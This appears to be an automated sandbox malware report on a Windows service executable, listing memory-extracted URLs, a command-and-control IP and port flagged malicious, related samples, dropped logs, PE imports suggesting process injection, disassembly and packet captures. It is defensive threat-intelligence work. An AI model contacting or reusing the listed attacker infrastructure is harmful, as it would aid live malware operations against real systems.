https://%s.xboxlive.com	svchost.exe, 00000009.00000002.773656447.000001FA2D043000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	low
https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 0000000B.00000002.316159805.000002792164D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.315774082.0000027921648000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Locations	svchost.exe, 0000000B.00000003.315795329.0000027921661000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 0000000B.00000003.315832194.0000027921640000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/mapcontrol/logging.ashx	svchost.exe, 0000000B.00000003.315795329.0000027921661000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/mapcontrol/logging.ashx	svchost.exe, 0000000B.00000003.315795329.0000027921661000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Imagery/Copyright/	svchost.exe, 0000000B.00000003.315812082.000002792165A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=	svchost.exe, 0000000B.00000003.315832194.0000027921640000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=	svchost.exe, 0000000B.00000002.316173182.000002792165C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 0000000B.00000003.315812082.000002792165A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.316173182.000002792165C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Transit/Schedules/	svchost.exe, 0000000B.00000003.315832194.0000027921640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.316147968.0000027921642000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.315866958.0000027921641000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dynamic.t	svchost.exe, 0000000B.00000002.316188366.0000027921665000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.315812082.000002792165A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.315866958.0000027921641000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://dev.virtualearth.net/REST/v1/Routes/Transit	svchost.exe, 0000000B.00000003.315795329.0000027921661000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen	svchost.exe, 0000000B.00000002.316129188.000002792163A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.294187920.0000027921631000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=	svchost.exe, 0000000B.00000002.316173182.000002792165C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://activity.windows.com	svchost.exe, 00000009.00000002.773656447.000001FA2D043000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.bingmapsportal.com	svchost.exe, 0000000B.00000002.316062632.0000027921613000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Locations	svchost.exe, 0000000B.00000003.315795329.0000027921661000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 0000000B.00000002.316137245.000002792163C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://%s.dnet.xboxlive.com	svchost.exe, 00000009.00000002.773656447.000001FA2D043000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	low
https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 0000000B.00000003.315812082.000002792165A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.316173182.000002792165C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=	svchost.exe, 0000000B.00000003.315812082.000002792165A000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
20.104.209.69	unknown	United States		8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	780207
Start date and time:	2023-01-08 16:05:54 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	8082-svc-x86.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Run name:	Run as Windows Service
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@21/3@0/1
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 100% (good quality ratio 41.8%) Quality average: 28.8% Quality standard deviation: 39.3%
HCA Information:	Successful, ratio: 98% Number of executed functions: 49 Number of non-executed functions: 72
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): WMIADAP.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ctldl.windowsupdate.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtDeviceIoControlFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
16:06:55	API Interceptor	536x Sleep call for process: rundll32.exe modified
16:08:14	API Interceptor	1x Sleep call for process: MpCmdRun.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
20.104.209.69	8082-x86.dll	Get hash	malicious	Browse	20.104.209.69:8082/broadcast
	8082-x86.exe	Get hash	malicious	Browse	20.104.209.69:8082/broadcast
	8082-x64.ps1	Get hash	malicious	Browse	20.104.209.69:8082/broadcast
	8082-x64.exe	Get hash	malicious	Browse	20.104.209.69:8082/broadcast
	8082-x86.ps1	Get hash	malicious	Browse	20.104.209.69:8082/broadcast

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	8082-x86.dll	Get hash	malicious	Browse	20.104.209.69
	8082-x86.exe	Get hash	malicious	Browse	20.104.209.69
	8082-x64.ps1	Get hash	malicious	Browse	20.104.209.69
	8082-x64.exe	Get hash	malicious	Browse	20.104.209.69
	8082-x86.ps1	Get hash	malicious	Browse	20.104.209.69
	YhfJ5sKIz3.elf	Get hash	malicious	Browse	20.124.38.248
	file.exe	Get hash	malicious	Browse	40.93.207.2
	XsP344f0F0.elf	Get hash	malicious	Browse	40.91.21.6
	file.exe	Get hash	malicious	Browse	40.93.207.0
	41bV0jyqt6.elf	Get hash	malicious	Browse	40.65.177.74
	file.exe	Get hash	malicious	Browse	40.93.207.2
	file.exe	Get hash	malicious	Browse	104.47.54.36
	JzKeM0GpxV.elf	Get hash	malicious	Browse	20.182.19.237
	file.exe	Get hash	malicious	Browse	40.93.207.2
	file.exe	Get hash	malicious	Browse	40.93.207.1
	12OMRfKxvu.elf	Get hash	malicious	Browse	51.125.192.211
	7JE8iEYd60.elf	Get hash	malicious	Browse	40.96.50.119
	U1lnaOUMhH.elf	Get hash	malicious	Browse	20.208.28.125
	AP7H3dk8Ul.elf	Get hash	malicious	Browse	20.223.104.8
	8jK7X0Nc8M.elf	Get hash	malicious	Browse	20.84.217.81

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	9062
Entropy (8bit):	3.1708792130630052
Encrypted:	false
SSDEEP:	192:cY+38+DJ5+inJg3+igJU+LY+XY+ntn+E5L+ME+P:j+s+j+j3+12+0+I+9+C+f+P
MD5:	310B37B81A13DA06B304769425131FF4
SHA1:	A401B6BB56A3D5CE3F55E16EB9FA08F73F897154
SHA-256:	699E8D9D93FF023D858F2FA2BF1DE3E97ECF0E62994EE28D352B6B3FF6585C41
SHA-512:	1519B3C684CBBCC647F72488690A627AE61F6B28830DAE6FE72197F5DE9DCBBF5B1FF4033B6C9EEFB8DAEDB52BCF9B6DA524BDB817DDED9D3460D7E2238A9277
Malicious:	false
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.m.p.c.m.d.r.u.n...e.x.e.". .-.w.d.e.n.a.b.l.e..... .S.t.a.r.t. .T.i.m.e.:. .. T.h.u. .. J.u.n. .. 2.7. .. 2.0.1.9. .0.1.:.2.9.:.4.9.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....W.D.E.n.a.b.l.e.....E.R.R.O.R.:. .M.p.W.D.E.n.a.b.l.e.(.T.R.U.E.). .f.a.i.l.e.d. .(.8.0.0.7.0.4.E.C.).....M.p.C.m.d.R.u.n.:. .E.n.d. .T.i.m.e.:. .. T.h.u. .. J.u.n. .. 2.7. .. 2.0.1.9. .0.1.:.2.9.:.4.9.....-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.............-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.

C:\servicereg.log

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	28
Entropy (8bit):	3.678439190827718
Encrypted:	false
SSDEEP:	3:4A4AnXjzSv:4HAnXjg
MD5:	A8F4D690C5BDE96AD275C7D4ABE0E3D3
SHA1:	7C62C96EFD2CA4F3C3EBF0B24C9B5B4C04A4570A
SHA-256:	596CCC911C1772735AAC6A6B756A76D3D55BCECD006B980CF147090B2243FA7B
SHA-512:	A875EBE3C5CDF222FF9D08576F4D996AF827A1C86B3E758CE23F6B33530D512A82CE8E39E519837512080C6212A0A19B3385809BE5F5001C4E488DD79550B852
Malicious:	false
Preview:	[SC] CreateService SUCCESS..

C:\servicestart.log

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	421
Entropy (8bit):	3.525933555991636
Encrypted:	false
SSDEEP:	6:lg3D/8FlgVKBRjGxVVLvH2s/u8qLLFmLaZnsHgm66//V+NmQWWfq:lgADgV0qVbH2suZLQqOVKmQ9q
MD5:	06C2EB35C508629EF83134977E913549
SHA1:	3F477C1C5A1FFE03C4C2D7F9C0B4215172EDDDDF
SHA-256:	A95C10E6FC6BB48D884DFAADF41CE46A958DCB47A454C4EB31156A0A835C18C7
SHA-512:	23C736B181DCA12EBD83E8DA3CA8E8C3890B275D27FE64B6954942FEF7EB0E2494736554DD6FFDA892312564BCBB17232B7A432CD03973CE9BC8A025654860BA
Malicious:	false
Preview:	..SERVICE_NAME: CfsHz .. TYPE : 10 WIN32_OWN_PROCESS .. STATE : 2 START_PENDING .. (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN).. WIN32_EXIT_CODE : 0 (0x0).. SERVICE_EXIT_CODE : 0 (0x0).. CHECKPOINT : 0x0.. WAIT_HINT : 0x7d0.. PID : 1284.. FLAGS : ..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Entropy (8bit):	6.668168868781468
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	8082-svc-x86.exe
File size:	285696
MD5:	8fc088eec229a693f2d754c67a2e506a
SHA1:	0043b6ba9f8edfd83d00bbce364797d4c65b3b75
SHA256:	deeb89a16aa2b7b63504602de422f508c196b8be3289e57f3b9d74337d585425
SHA512:	8108f5d1e8dceea2276c89b5bf964e463fe466f25e115f80bb798f83e7619e7c4b40321e695b41570cc5136bc63b2fba90f1a34e4d05949d87ccf309a9d90ee8
SSDEEP:	6144:uQJAy6O5fo59McMv/0pWHV77hLB5FPfPfPfP8DRDNpGxnT:uQN6O5w8/XVXhLB5FPfPfPfP8D9NpgnT
TLSH:	D154CF87C75D0CA2F06A3A389EE77D676A19EBE1E30E0D4ED2BB27A50D06797441C701
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......^................. ...X...............0....@.................................g......... ............................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General

Entrypoint:	0x4014b0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
DLL Characteristics:
Time Stamp:	0x5EDED50D [Tue Jun 9 00:17:17 2020 UTC]
TLS Callbacks:	0x401bd0, 0x401b80
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	de77f3139eaf74f1b255ab7be0b6605f

Entrypoint Preview

Instruction
sub esp, 0Ch
mov dword ptr [00447040h], 00000001h
call 00007FE1947954C3h
add esp, 0Ch
jmp 00007FE194793BABh
lea esi, dword ptr [esi+00000000h]
sub esp, 0Ch
mov dword ptr [00447040h], 00000000h
call 00007FE1947954A3h
add esp, 0Ch
jmp 00007FE194793B8Bh
nop
nop
nop
nop
nop
nop
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword ptr [00445420h]
test eax, eax
je 00007FE194793F2Eh
mov dword ptr [esp], 00446020h
call dword ptr [004481CCh]
mov edx, 00000000h
sub esp, 04h
test eax, eax
je 00007FE194793F08h
mov dword ptr [esp+04h], 0044602Eh
mov dword ptr [esp], eax
call dword ptr [004481D0h]
sub esp, 08h
mov edx, eax
test edx, edx
je 00007FE194793EFBh
mov dword ptr [esp], 00445420h
call edx
leave
ret
lea esi, dword ptr [esi+00h]
push ebp
mov ebp, esp
pop ebp
ret
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebp
mov ebp, esp
sub esp, 10h
mov edx, dword ptr [0040300Ch]
mov eax, dword ptr [ebp+08h]
test edx, edx
jle 00007FE194793F12h
cmp dword ptr [00403010h], 00000000h
jle 00007FE194793F09h
mov ecx, dword ptr [004481CCh]
mov dword ptr [eax+edx], ecx
mov edx, dword ptr [000000D0h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x48000	0x8a0	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4a000	0x18	.tls
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x48180	0x130	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x1fd4	0x2000	False	0.563720703125	data	5.933774570860191	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x3000	0x42424	0x42600	False	0.5399489465630886	data	6.670005359968773	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x46000	0x324	0x400	False	0.4970703125	data	4.535472821564213	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ
.bss	0x47000	0x47c	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x48000	0x8a0	0xa00	False	0.373046875	data	4.745754334582236	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.CRT	0x49000	0x34	0x200	False	0.068359375	Matlab v4 mat-file (little endian) `\035@, numeric, rows 4198416, columns 0	0.2655385886073115	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x4a000	0x20	0x200	False	0.05078125	data	0.22482003450968063	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
ADVAPI32.dll	RegisterServiceCtrlHandlerA, SetServiceStatus, StartServiceCtrlDispatcherA
KERNEL32.dll	CloseHandle, ConnectNamedPipe, CreateFileA, CreateNamedPipeA, CreateProcessA, CreateThread, DeleteCriticalSection, EnterCriticalSection, ExitProcess, FreeLibrary, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentVariableA, GetLastError, GetModuleHandleA, GetProcAddress, GetStartupInfoA, GetSystemTimeAsFileTime, GetThreadContext, GetTickCount, InitializeCriticalSection, LeaveCriticalSection, LoadLibraryA, LoadLibraryW, QueryPerformanceCounter, ReadFile, ResumeThread, SetThreadContext, SetUnhandledExceptionFilter, Sleep, TerminateProcess, TlsGetValue, UnhandledExceptionFilter, VirtualAllocEx, VirtualProtect, VirtualProtectEx, VirtualQuery, WriteFile, WriteProcessMemory
msvcrt.dll	__dllonexit, __getmainargs, __initenv, __lconv_init, __set_app_type, __setusermatherr, _acmdln, _amsg_exit, _cexit, _fmode, _initterm, _iob, _lock, _onexit, _snprintf, _unlock, _winmajor, abort, calloc, exit, fprintf, free, fwrite, malloc, memcpy, signal, sprintf, strlen, strncmp, vfprintf

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 8, 2023 16:06:55.722184896 CET	49696	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:55.837234974 CET	8082	49696	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:55.837413073 CET	49696	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:55.838337898 CET	49696	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:55.952249050 CET	8082	49696	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:55.958020926 CET	8082	49696	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:55.958054066 CET	8082	49696	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:55.958106041 CET	49696	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:55.958148003 CET	49696	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:55.962809086 CET	8082	49696	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:55.962903023 CET	49696	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:55.967139959 CET	49696	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:56.081063032 CET	8082	49696	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:56.086762905 CET	49698	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:56.202558041 CET	8082	49698	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:56.202759981 CET	49698	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:56.203737020 CET	49698	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:56.318003893 CET	8082	49698	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:56.322467089 CET	8082	49698	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:56.322505951 CET	8082	49698	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:56.322594881 CET	8082	49698	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:56.322645903 CET	49698	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:56.322727919 CET	49698	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:56.325087070 CET	49698	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:56.430943966 CET	49700	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:56.439516068 CET	8082	49698	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:56.545618057 CET	8082	49700	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:56.545813084 CET	49700	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:56.546406031 CET	49700	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:56.660610914 CET	8082	49700	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:56.662009001 CET	8082	49700	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:56.662036896 CET	8082	49700	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:56.662117004 CET	49700	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:56.662153006 CET	49700	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:56.666027069 CET	49700	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:56.666099072 CET	49700	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:56.801702023 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:56.916044950 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:56.916241884 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:56.929686069 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.044296980 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.560909986 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.560947895 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.560967922 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.560990095 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.561009884 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.561029911 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.561048985 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.561068058 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.561088085 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.561106920 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.561120033 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.561177015 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.561177969 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.675915956 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.675949097 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.675968885 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.675992012 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.676115036 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.676131010 CET	49701	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:06:57.676136017 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.676157951 CET	8082	49701	20.104.209.69	192.168.2.6
Jan 8, 2023 16:06:57.676187038 CET	8082	49701	20.104.209.69	192.168.2.6
